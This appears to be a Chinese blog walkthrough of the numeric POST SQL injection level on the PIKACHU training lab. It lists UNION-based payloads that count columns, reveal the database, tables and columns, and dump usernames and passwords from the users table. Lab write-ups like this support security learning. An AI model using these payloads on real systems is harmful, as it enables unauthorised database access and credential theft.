PIKACHU-SQL注入（1-5）

最新推荐文章于 2025-02-25 10:25:44 发布

koala_king

最新推荐文章于 2025-02-25 10:25:44 发布

阅读量216

点赞数

分类专栏： pikachu 文章标签： sql 数据库 mysql

本文链接：https://blog.youkuaiyun.com/koala_king/article/details/129313196

版权

这篇博客详细介绍了PIKACHU平台上的SQL注入漏洞利用过程，包括数字型、字符型、搜索型和XXX型注入的步骤，以及insert/update注入的技巧。作者通过示例展示了如何找出列数、爆库、爆表、爆列和爆数据，涉及了SQL注入的各种常见类型。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1- 数字型注入(post)

在这里插入图片描述发到burp里查看发现是post类型
开始用firefox的hackbar来实施注入
既然题目说了是数字型，就不找闭合了，按照下面的步骤进行：
1、找列数 payload： id=1 order by n#&submit=%E6%9F%A5%E8%AF%A2

payload中的n为数字，表示select语句结果的列数，如果猜测的列数小于等于select语句查询结果的列数，会返回本关开始那张图，如果猜测的列数大于select语句查询结果的列数，会返回报错。比如从下面两张图可知select语句查询结果有2列。
在这里插入图片描述 2、爆库 payload：id=1 union select database(),2#&submit=%E6%9F%A5%E8%AF%A2

上一步知道了查询结果有两列，再看浏览器的返回结果，有用户名和邮箱，所以估计返回结果的两列都是可显示的，因此爆库的时候随便选一列就好。
在这里插入图片描述 3、爆表 payload：id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#&submit=%E6%9F%A5%E8%AF%A2
表有httpinfo,member,message,users,xssblind

4、爆列 payload：id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述 5、爆数据 payload：id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2